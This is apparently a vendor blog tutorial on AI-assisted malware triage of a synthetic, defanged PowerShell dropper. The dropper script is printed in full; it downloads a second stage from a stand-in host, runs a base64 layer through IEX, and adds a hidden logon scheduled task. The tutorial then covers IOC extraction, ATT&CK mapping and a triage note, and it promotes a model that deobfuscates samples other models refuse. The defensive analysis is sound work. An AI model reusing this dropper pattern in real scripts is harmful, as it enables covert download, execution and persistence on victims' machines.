Skip to content
All posts

· 5 min read

Malware Analysis with AI, Triaging an Obfuscated Script Dropper

A step-by-step malware triage workflow with Odin v1: deobfuscate a script dropper, summarize behavior, extract IOCs to JSON, map to ATT&CK and write the note.

Script droppers are the most common thing a SOC analyst gets asked to look at: a PowerShell or JavaScript file from an email attachment, a few layers of obfuscation, and a download URL at the end. Triage is repetitive, and mainstream models often refuse to deobfuscate a sample because it is malicious. Odin v1 answers directly, which makes it a practical assistant for this work. This walkthrough triages a synthetic PowerShell dropper from first look to finished triage note.

Handle the sample safely first

The model never touches the sample. You do, and that part has to be done right:

  • Work inside an isolated analysis VM with no network access (or a simulated network), snapshotted before you start and reverted after.
  • Never open or run a sample on your host. Copy text out of the VM, not files.
  • Defang URLs, domains and IPs before they leave the VM (hxxps://, [.]), so nobody clicks them later.
  • Compute hashes yourself with Get-FileHash or sha256sum. Do not ask a model to compute or recall hashes.

Odin accepts text only, so you paste script content, strings output or sandbox report text, not binaries, screenshots or PDFs. API prompts and completions are not stored, but still remove customer names and internal hostnames you do not need for the analysis.

The sample

This is a synthetic, truncated and defanged sample written for this article. It shows typical tricks without being runnable:

powershell
# SYNTHETIC SAMPLE for illustration. Defanged and truncated: it does not run.$q = 'hxxps://cdn-sync[.]example[.]com/a/upd.dat'$f = '203.0.113[.]47:8443'$n = ('{1}{0}{2}' -f 'et.We', 'N', 'bClient')$w = New-Object $n$w.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) SyncHost/2.1')$d = "$env:APPDATA\Microsoft\SyncHost"$w.DownloadFile($q, "$d\synchost.ps1")$b = [Convert]::FromBase64String('<base64 blob removed, 2,412 chars>')$s = [Text.Encoding]::Unicode.GetString($b)& ([char[]](73, 69, 88) -join '') $sschtasks /create /tn "OneDrive Sync Helper" /sc onlogon /tr "powershell -w hidden -ep bypass -f $d\synchost.ps1" /f

Step 1: deobfuscate

Give the model the role, the context and the exact output you want:

You are assisting a malware analyst. The script below was extracted from a phishing attachment inside an isolated lab VM. Do not execute anything. Deobfuscate it statically: resolve every string-building trick, rewrite the script with readable variable names, and list each obfuscation technique you resolved. If a layer is encoded data you cannot see, say what it probably is and how to decode it safely.

Expect a cleaned-up script plus a list of resolved tricks: the -f format string reorders to Net.WebClient, the char array 73, 69, 88 is IEX (Invoke-Expression), and the base64 blob is UTF-16LE text that gets executed in memory. Because the blob is removed here, a good answer tells you to decode it inside the VM (CyberChef "From Base64" then "Decode text" UTF-16LE) and paste the result as the next layer.

For long base64 or XOR layers, decode locally and paste the output. Models can transcribe long encoded strings wrongly, and a local decoder is exact.

Step 2: summarize behavior

Next, ask for a behavior summary in plain language, separating what the code does from what it probably does:

Summarize what this script does, in execution order. Mark each statement as CONFIRMED (visible in the code) or INFERRED (likely, but depends on content we have not seen).

For this sample, expect: confirmed download of a second stage to %APPDATA%\Microsoft\SyncHost\synchost.ps1 with a custom user agent, in-memory execution of an embedded layer, and persistence through a logon scheduled task with a hidden window. The fallback address and the second stage's purpose stay inferred until you decode the blob. That confirmed/inferred split is what makes the summary safe to put in a report.

Step 3: extract IOCs to JSON

Ask for a fixed schema so the output can go straight into your TIP or SIEM:

json
{  "sample": {    "file_name": "invoice_0923.ps1",    "sha256": "<computed locally, not by the model>"  },  "network": [    { "type": "url", "value": "hxxps://cdn-sync[.]example[.]com/a/upd.dat", "context": "second stage download" },    { "type": "ip_port", "value": "203.0.113[.]47:8443", "context": "probable fallback, inferred" }  ],  "host": [    { "type": "file_path", "value": "%APPDATA%\\Microsoft\\SyncHost\\synchost.ps1" },    { "type": "scheduled_task", "value": "OneDrive Sync Helper" },    { "type": "user_agent", "value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) SyncHost/2.1" }  ]}

When you have dozens of decoded scripts or sandbox reports, switch to odin-flash. It is faster and cheaper, and IOC extraction is a pattern task that does not need deep reasoning. Keep odin-v1 (thinking on by default, 1,000,000-token context) for deobfuscation and behavior analysis.

python
import jsonimport osimport pathlib
from openai import OpenAI
client = OpenAI(base_url="https://api.interodin.com/v1", api_key=os.environ["INTERODIN_API_KEY"])
SYSTEM = (    "Extract indicators of compromise from the text. Return only JSON with the keys "    "urls, domains, ips, file_paths, registry_keys, scheduled_tasks, mutexes, user_agents, "    "each a list of strings. Keep values defanged exactly as written. "    "Never invent indicators and never compute hashes.")

def extract(text: str) -> dict:    resp = client.chat.completions.create(        model="odin-flash",        messages=[{"role": "system", "content": SYSTEM}, {"role": "user", "content": text}],    )    raw = resp.choices[0].message.content.strip()    fence = "`" * 3    raw = raw.removeprefix(fence + "json").removesuffix(fence).strip()    return json.loads(raw)

results = {}for path in sorted(pathlib.Path("triage/decoded").glob("*.txt")):    results[path.name] = extract(path.read_text(encoding="utf-8", errors="replace"))
pathlib.Path("triage/iocs.json").write_text(json.dumps(results, indent=2))

Spot-check the output against the source text. The prompt forbids invented indicators, but you are the one signing the report. The OpenAI SDK guide covers client setup.

Step 4: map to MITRE ATT&CK

Ask for a mapping where every technique cites the line of code that justifies it, and where weak mappings are labeled. Expect something like:

TechniqueIDEvidence
Command and Scripting Interpreter: PowerShellT1059.001The whole sample
Obfuscated Files or InformationT1027Format string, char array, base64 blob
Deobfuscate/Decode Files or InformationT1140FromBase64String at runtime
Ingress Tool TransferT1105DownloadFile of the second stage
Scheduled Task/Job: Scheduled TaskT1053.005schtasks /create ... /sc onlogon
Hide Artifacts: Hidden WindowT1564.003-w hidden
Masquerading: Match Legitimate Resource Name or LocationT1036.005"OneDrive Sync Helper", %APPDATA%\Microsoft

Push back on techniques with no evidence. If the model adds an application layer protocol for C2 before you have seen any beaconing code, ask it to move that to "inferred".

Step 5: write the triage note

Finally, give the model everything from the previous steps and ask for a note in your team's format:

text
Triage note: invoice_0923.ps1Verdict: malicious, PowerShell downloader with scheduled task persistence (confidence: high)Analysis: static only, isolated VM, no networkBehavior: downloads second stage to %APPDATA%\Microsoft\SyncHost, runs an embedded  layer in memory, persists via logon task "OneDrive Sync Helper" (hidden window)IOCs: iocs.json (5 indicators, defanged)ATT&CK: T1059.001, T1027, T1140, T1105, T1053.005, T1564.003, T1036.005Open questions: content of the embedded layer, role of 203.0.113[.]47Next steps: block URL and IP at the proxy, hunt for the task name across endpoints,  deploy detections

The detections are the natural follow-up. Our guide to Sigma and YARA rules with AI covers Sigma rules for suspicious PowerShell and a YARA rule for this fictional SyncHost family. If you want to script the whole pipeline, see Claude Code for security tooling, and for why a security-focused model matters here, read security research with fewer refusals.

Get started

Create an API key in the console and follow the quickstart to make your first request. Analyze samples only in isolated environments you control, and keep your work within the Acceptable Use Policy.